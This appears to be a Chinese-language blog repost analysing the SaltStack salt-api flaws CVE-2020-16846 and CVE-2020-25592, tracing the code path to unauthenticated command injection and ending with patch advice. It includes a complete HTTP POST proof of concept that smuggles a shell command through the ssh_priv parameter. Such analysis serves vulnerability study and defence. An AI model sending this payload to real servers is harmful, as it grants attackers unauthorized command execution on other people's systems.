热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

怎么实现SaltStack未授权访问及命令执行漏洞CVE-2020-16846及25592的分析

怎么实现SaltStack未授权访问及命令执行漏洞CVE-2020-16846及25592的分析,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解

怎么实现SaltStack未授权访问及命令执行漏洞CVE-2020-16846及25592的分析,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

一、背景

漏洞概述:

SaltStack是一个分布式运维系统,在互联网场景中被广泛应用,有以下两个主要功能:•     配置管理系统,能够将远程节点维护在一个预定义的状态(例如,确保安装特定的软件包并运行特定的服务)•     分布式远程执行系统,用于在远程节点上单独或通过任意选择标准来执行命令和查询数据

2020年11月4日,SaltStack 官方发布了一则安全更新公告,其中CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块,CVE-2020-16846允许用户执行任意命令。salt-api虽不是默认开启配置,但绝大多数SaltStack用户会选择开启salt-api,故存在较高风险。

漏洞编号:

CVE-2020-16846、CVE-2020-25592

受影响版本:

•     3002

•     3001.1, 3001.2

•     3000.3, 3000.4

•     2019.2.5, 2019.2.6

•     2018.3.5

•     2017.7.4, 2017.7.8

•     2016.11.3, 2016.11.6,2016.11.10

•     2016.3.4, 2016.3.6,2016.3.8

•     2015.8.10, 2015.8.13

二、漏洞分析及POC

漏洞分析

截至2020年11月11日,补丁代码尚未与Github中master分支代码合并,故可直接从SaltStack官方Github仓库获取,目前master的代码版本为3002,系统为Mac,版本号相差较大时代码变动较大,需另作分析。

Salt Version:
          Salt: 3002-56-g3e269eda82
 
Dependency Versions:
          cffi: 1.14.3
      cherrypy: unknown
      dateutil: Not Installed
     docker-py: Not Installed
         gitdb: 4.0.5
     gitpython: 3.1.11
        Jinja2: 2.11.2
       libgit2: Not Installed
      M2Crypto: Not Installed
          Mako: 1.0.7
       msgpack: 1.0.0
  msgpack-pure: Not Installed
  mysql-python: Not Installed
     pycparser: 2.19
      pycrypto: Not Installed
  pycryptodome: 3.9.9
        pygit2: Not Installed
        Python: 3.8.2 (default, Sep 24 2020, 19:37:08)
  python-gnupg: Not Installed
        PyYAML: 5.3.1
         PyZMQ: 19.0.2
         smmap: 3.0.4
       timelib: Not Installed
       Tornado: 4.5.3
           ZMQ: 4.3.2
 
System Versions:
          dist: darwin 19.6.0 
        locale: utf-8
       machine: x86_64
       release: 19.6.0
        system: Darwin
       version: 10.15.6 x86_64

salt-api REST接口默认使用cherrypy框架,从run接口的实现上可以看出通过client参数动态调用NetapiClient类中的方法。

文中指定代码位置采用以下约定:FileLocation:Classname.method()

salt/netapi/init.py:NetapiClient.run()

salt/netapi/init.py:NetapiClient.run()

怎么实现SaltStack未授权访问及命令执行漏洞CVE-2020-16846及25592的分析

low参数为外部传入参数,salt.utils.args.format_call方法将参数赋值给**kwargs。

当client参数为ssh时,动态调用salt/netapi/init.py:NetapiClient.ssh(),该方法未采用任何鉴权

salt/netapi/init.py:NetapiClient.ssh()

怎么实现SaltStack未授权访问及命令执行漏洞CVE-2020-16846及25592的分析

跟进,路径如下:

salt/netapi/init.py:NetapiClient.ssh()⇒salt/client/ssh/client.py:SSHClient.cmd_sync()⇒salt/client/ssh/client.py:SSHClient._prep_ssh()

salt/client/ssh/client.py:SSHClient._prep_ssh()

怎么实现SaltStack未授权访问及命令执行漏洞CVE-2020-16846及25592的分析

该方法将kwargs外部可控参数更新值opts变量,该变量可以理解为SaltStack系统的环境变量,使用该变量初始化salt.client.ssh.SSH。

salt/client/ssh/init.py:SSH.__init__()

怎么实现SaltStack未授权访问及命令执行漏洞CVE-2020-16846及25592的分析

priv的值从opts变量中获取,并调用salt.client.ssh.shell.gen_key()方法。

salt/client/ssh/shell.py:gen_key()、

怎么实现SaltStack未授权访问及命令执行漏洞CVE-2020-16846及25592的分析

该方法中对命令进行拼接,并进行执行。当传入值为|COMMAND>{} #即可执行COMMAND命令。

POC

由上分析可知,POC如下:

POST /run HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|open%20/System/Applications/Calculator.app%3b

怎么实现SaltStack未授权访问及命令执行漏洞CVE-2020-16846及25592的分析

关于复现环境

1. Mac上复现需要手动创建日志文件夹、配置文件夹等,并需要手动写入相关配置。

2. Docker从官方环境拉取的镜像中默认没有SSH,故执行该poc时salt-api会挂掉,经测试3002版本自动重启,3000.4版本、2019.2.5版本则不会。故当salt-api挂掉时,优先考虑当前机器上是否有SSH软件。

三、安全建议

1. 尽快修复。由于官方并未放出升级包,故目前仍需要手动进行修复,这里是官方安全通告和修复补丁。

2. 如非必须使用salt-api,请关闭该功能。

看完上述内容,你们掌握怎么实现SaltStack未授权访问及命令执行漏洞CVE-2020-16846及25592的分析的方法了吗?如果还想学到更多技能或想了解更多相关内容,欢迎关注编程笔记行业资讯频道,感谢各位的阅读!


推荐阅读
  • 浅析对象 VO、DTO、DO、PO 概念
    作者|CatQi链接|cnblogs.comqixuejiap4390086.html前言由于此订阅号换了个皮肤,导致用户接受文章不及时。读者可以打开订阅号「Web项 ... [详细]
  • 本文讨论了Alink回归预测的不完善问题,指出目前主要针对Python做案例,对其他语言支持不足。同时介绍了pom.xml文件的基本结构和使用方法,以及Maven的相关知识。最后,对Alink回归预测的未来发展提出了期待。 ... [详细]
  • XML介绍与使用的概述及标签规则
    本文介绍了XML的基本概念和用途,包括XML的可扩展性和标签的自定义特性。同时还详细解释了XML标签的规则,包括标签的尖括号和合法标识符的组成,标签必须成对出现的原则以及特殊标签的使用方法。通过本文的阅读,读者可以对XML的基本知识有一个全面的了解。 ... [详细]
  • {moduleinfo:{card_count:[{count_phone:1,count:1}],search_count:[{count_phone:4 ... [详细]
  • 三、查看Linux版本查看系统版本信息的命令:lsb_release-a[root@localhost~]#lsb_release-aLSBVersion::co ... [详细]
  • 2018年人工智能大数据的爆发,学Java还是Python?
    本文介绍了2018年人工智能大数据的爆发以及学习Java和Python的相关知识。在人工智能和大数据时代,Java和Python这两门编程语言都很优秀且火爆。选择学习哪门语言要根据个人兴趣爱好来决定。Python是一门拥有简洁语法的高级编程语言,容易上手。其特色之一是强制使用空白符作为语句缩进,使得新手可以快速上手。目前,Python在人工智能领域有着广泛的应用。如果对Java、Python或大数据感兴趣,欢迎加入qq群458345782。 ... [详细]
  • 本文介绍了Android 7的学习笔记总结,包括最新的移动架构视频、大厂安卓面试真题和项目实战源码讲义。同时还分享了开源的完整内容,并提醒读者在使用FileProvider适配时要注意不同模块的AndroidManfiest.xml中配置的xml文件名必须不同,否则会出现问题。 ... [详细]
  • 在Xamarin XAML语言中如何在页面级别构建ControlTemplate控件模板
    本文介绍了在Xamarin XAML语言中如何在页面级别构建ControlTemplate控件模板的方法和步骤,包括将ResourceDictionary添加到页面中以及在ResourceDictionary中实现模板的构建。通过本文的阅读,读者可以了解到在Xamarin XAML语言中构建控件模板的具体操作步骤和语法形式。 ... [详细]
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • 使用Docker安装和运行Nexus
    本文介绍了使用Docker安装和运行Nexus的方法,包括docker-compose.yml配置和启动时可能出现的权限问题解决方法。同时提供了登录控制台验证安装的地址和登录信息。 ... [详细]
  • 五、RabbitMQ Java Client基本使用详解
    JavaClient的5.x版本系列需要JDK8,用于编译和运行。在Android上,仅支持Android7.0或更高版本。4.x版本系列支持7.0之前 ... [详细]
  • DockerDataCenter系列(四)-离线安装UCP和DTR,Go语言社区,Golang程序员人脉社 ... [详细]
  • 1、概述首先和大家一起回顾一下Java消息服务,在我之前的博客《Java消息队列-JMS概述》中,我为大家分析了:然后在另一篇博客《Java消息队列-ActiveMq实战》中 ... [详细]
  • Docker安装Rabbitmq(配合宝塔)
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了Docker安装Rabbitmq(配合宝塔)相关的知识,希望对你有一定的参考价值。一、事前准备 ... [详细]
  • 讨伐Java多线程与高并发——MQ篇
    本文是学习Java多线程与高并发知识时做的笔记。这部分内容比较多,按照内容分为5个部分:多线程基础篇JUC篇同步容器和并发容器篇线程池篇MQ篇本篇 ... [详细]
author-avatar
未来不是梦r
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有